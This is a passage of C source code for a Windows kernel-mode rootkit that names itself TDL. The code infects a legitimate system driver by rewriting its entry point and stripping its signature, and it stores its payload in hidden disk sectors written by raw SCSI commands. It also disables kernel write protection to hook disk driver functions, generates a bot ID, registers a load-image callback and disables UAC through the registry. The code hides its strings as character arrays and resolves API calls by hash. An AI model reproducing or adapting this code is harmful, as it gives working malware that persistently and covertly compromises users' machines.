                        if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))
                        {
                                dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;
                        }
                        ZwClose(hPartition);
                        GET_TDL_ADDRESSES->dwFSLastClaster=1;
                        GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
                        GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;
                        memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));
                        pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);
                        pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
                        pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);
                        GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);
                        dwOldCR0=__readcr0();
                        __writecr0(dwOldCR0&~(1<<16));
                        memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);
                        __writecr0(dwOldCR0);
                        memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));
#ifdef _WIN64
                        RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#else
                        RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#endif
                        dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
                        pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));
                        dwRsrcSize=TDL_START_SIZE;
                        while(dwRsrcSize>0)
                        {
                                DWORD dwPartSize;
 
                                dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);
                                if(dwPartSize>dwRsrcSize)
                                {
                                        dwPartSize=dwRsrcSize;
                                }
                                HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);
                                dwRsrcSize-=dwPartSize;
                                dwRsrcOffset+=dwPartSize;
                                pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);
                        }
                        HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);
                        HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);
                        HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);
                        HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);
                        for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
                        {
                                svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);
                                ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));
                                GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
                                GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;
                        }
                        ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);
                        dwSize=0;
                        ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);
                        ZwClose(hSection);
                        pinhHeaderCache=RtlImageNtHeader(pvFile);
                        pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
                        pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
                        pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;
                        pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;
                        memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);
                        ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
                        //ZwClose(hDriver);
                        TDLFSInit();
                        _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
                        
                        //
                        /*
CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};
                        CHAR cSection[]={'m','a','i','n',0};
                        CHAR cKey[]={'r','e','b','o','o','t','s',0};
                        
                        DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,
                                TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
                        
                        TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
                                TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
                        
                        DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
 
                        
 
                        TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
                                TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
*/
 
                        //
                        GET_TDL_ADDRESSES->pvLoadLibraryExA=0;
                        
                        /*
WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};
                        WCHAR wcFile[MAX_PATH];
 
                        _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,
                                GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
 
                        CHAR cMsg[]={'i','s','a','f','t','e','\n',0};
                        DbgPrint(cMsg);
 
                        BOOL bRet=FALSE;
 
                        HANDLE hFile=0;
                        UNICODE_STRING usFile;
                        OBJECT_ATTRIBUTES oaAttributes;
                        IO_STATUS_BLOCK iosbStatus;
 
                        RtlInitUnicodeString(&usFile,wcFile);
                        InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
 
                        bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,
                                &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));
 
                        if(!bRet)
                        {
                                CHAR cMsg1[]={'c','r','e','a','t','\n',0};
                                DbgPrint(cMsg1);
 
                                ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,
                                        FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);
                        }
                        else
                        {
                                CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};
                                DbgPrint(cMsg2);
 
                                PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
                        }
 
                        if(hFile) ZwClose(hFile);
*/
 
                        PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
 
                        pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));
                        if(pwqiThread!=0)
                        {
                                ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);
 
                                ExQueueWorkItem(pwqiThread,DelayedWorkQueue);
                        }
                        //KADInit();
                        WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',
                                'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',
                                'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',
                                'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};
                        
                        WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};
                        DWORD dwUAC=0;
 
                        RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));
                }
        }
        return STATUS_SUCCESS;
}
 
NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)
{
        WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
        WCHAR wcDriver[MAX_PATH];
        OBJECT_ATTRIBUTES oaAttributes;
        UNICODE_STRING usFile;
        IO_STATUS_BLOCK iosbStatus;
        HANDLE hDriver;
 
        _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));
        RtlInitUnicodeString(&usFile,wcDriver);
        InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
        if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))
        {
                TDLInit(hDriver);
                
                if(pdoDevice!=0)
                {
                        IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
                }
                return STATUS_SUCCESS;
        }
        return STATUS_OBJECT_NAME_NOT_FOUND;
}
 
__declspec(noinline) VOID TDLEnd()
{
        return;
}
 
NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
        PTDL_START ptsStart;
        DWORD dwDelta;
        PIMAGE_NT_HEADERS pinhHeader;
        PIMAGE_SECTION_HEADER pishHeader;
        DWORD dwSection;
 
        __asm
        {
                call delta
                delta:
                pop eax
                sub eax,offset delta
                mov [dwDelta],eax
        }
        ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
        if((DWORD_PTR)pusRegistry>1)
        {
                PVOID pvKernel;
                PLIST_ENTRY pleEntry;
 
                pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;
                while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)
                {
                        pleEntry=pleEntry->Flink;
                }
                pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;
                ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));
                GET_TDL_ADDRESSES->pvKernel=pvKernel;
                GET_TDL_ADDRESSES->pdoDriver=pdoDriver;
                pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);
                pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
                for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
                {
                        pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;
                        if(*(PDWORD)pishHeader->Name=='TINI')
                        {
                                *pishHeader->Name=0;
                        }
                        pishHeader++;
                }
                ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));
                return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);
        }
        else
        {
                PDEVICE_OBJECT pdoDevice;
 
                GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
                pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
                while(pdoDevice!=0) 
                {
                        BYTE bDeviceName[MAX_PATH];
                        DWORD dwSize;
 
                        if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))
                        {
                                OBJECT_ATTRIBUTES oaAttributes;
                                IO_STATUS_BLOCK iosbStatus;
                                LARGE_INTEGER liOffset;
                                HANDLE hDisk;
 
                                liOffset.QuadPart=ptsStart->ullDriverCodeOffset;
                                InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
                                if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))
                                        &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))
                                        &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))
                                {
                                        ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));
                                        return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);
                                }
                        }
                        pdoDevice=pdoDevice->NextDevice;
                }
        }
        return STATUS_SUCCESS;
}
 
NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)
{
        NTSTATUS ntsResult;
        READ_CAPACITY_DATA rcdData;
 
        ntsResult=STATUS_VOLUME_DIRTY;
        if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))
        {
                LARGE_INTEGER liOffset;
 
                liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);
                GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;
                ntsResult=STATUS_INSUFFICIENT_RESOURCES;
                GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
                if(GET_TDL_ADDRESSES->pvDriverCode!=0)
                {
                        DWORD dwSectorOffset;
                        OBJECT_ATTRIBUTES oaAttributes;
                        IO_STATUS_BLOCK iosbStatus;
                        UNICODE_STRING usDriver;
 
                        RtlInitUnicodeString(&usDriver,pwcDriver);
                        InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
                        ntsResult=STATUS_FILE_LOCK_CONFLICT;
                        if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))
                        {
                                FILE_STANDARD_INFORMATION fsiInfo;
 
                                if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))
                                {
                                        HANDLE hSection;
 
                                        if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))
                                        {
                                                SIZE_T stSize=0;
                                                PVOID pvFile=0;
                                                
                                                if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))
                                                {
                                                        PIMAGE_NT_HEADERS pinhHeader;
                                                        TDL_START tsStart;
 
                                                        *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;
                                                        pinhHeader=RtlImageNtHeader(pvFile);
                                                        memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);
                                                        memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);
                                                        dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);
                                                        ntsResult=STATUS_MEDIA_WRITE_PROTECTED;
                                                        if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))
                                                        {
                                                                ntsResult=STATUS_SUCCESS;
                                                                GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();
                                                                tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));
                                                                tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;
                                                                tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));
                                                                tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));
                                                                tsStart.ullDriverCodeOffset=liOffset.QuadPart;
                                                                tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));
                                                                tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));
                                                                tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));
                                                                tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
                                                                tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
                                                                tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;
                                                                memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);
                                                                memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));
                                                                pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
                                                                pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
                                                                pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
                                                                pinhHeader->OptionalHeader.CheckSum=0;
                                                                pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);
                                                        }
                                                        ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
                                                }
                                                ZwClose(hSection);
                                        }
                                }
                        }
                }
        }
        return ntsResult;
}
 
DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
        //CHAR cDebug[]={'T','D','L','\n',0};
        //DbgPrint(cDebug);
 
        CHAR cBotID[0x10+1];
        WCHAR wcBotID[0x10+sizeof(L'\\')+1];
        WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
        OBJECT_ATTRIBUTES oaAttributes;
        HANDLE hEvent;
        NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;
        UNICODE_STRING usName;
        GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));
        
        _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);
        RtlInitUnicodeString(&usName,wcBotID);
        InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
        if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))
        {
                WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
                HANDLE hVolumeLink;
 
                ntsStatus=STATUS_LINK_FAILED;
                ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));
                memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));
                strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID));    
                RtlInitUnicodeString(&usName,wcVolume);
                InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
                if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))
                {
                        WCHAR wcSystemRoot[MAX_PATH];
 
                        usName.Buffer=wcSystemRoot;
                        usName.MaximumLength=sizeof(wcSystemRoot);
                        if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))
                        {
                                HANDLE hVolumeDirectory;
                                WCHAR wcVolumeDevice[MAX_PATH];
                                WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};
 
                                *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;
                                _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);
                                RtlInitUnicodeString(&usName,wcVolumeDevice);
                                ntsStatus=STATUS_FILE_IS_A_DIRECTORY;
                                if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))
                                {
                                        PDIRECTORY_BASIC_INFORMATION pdbiInfo;
 
                                        pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);
                                        if(pdbiInfo!=0)
                                        {
                                                DWORD dwSize;
                                                DWORD dwContext=0;
 
                                                ntsStatus=STATUS_BUFFER_TOO_SMALL;
                                                if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))
                                                {
                                                        ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;
                                                        for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++)
                                                        {
                                                                WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0};
 
                                                                if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0')
                                                                        &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0))
                                                                {
                                                                        WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0};
                                                                        HANDLE hVolumeDevice;
                                                                        IO_STATUS_BLOCK iosbStatus;
 
                                                                        ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS;
                                                                        _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName);
                                                                        RtlInitUnicodeString(&usName,wcVolumeDevice);
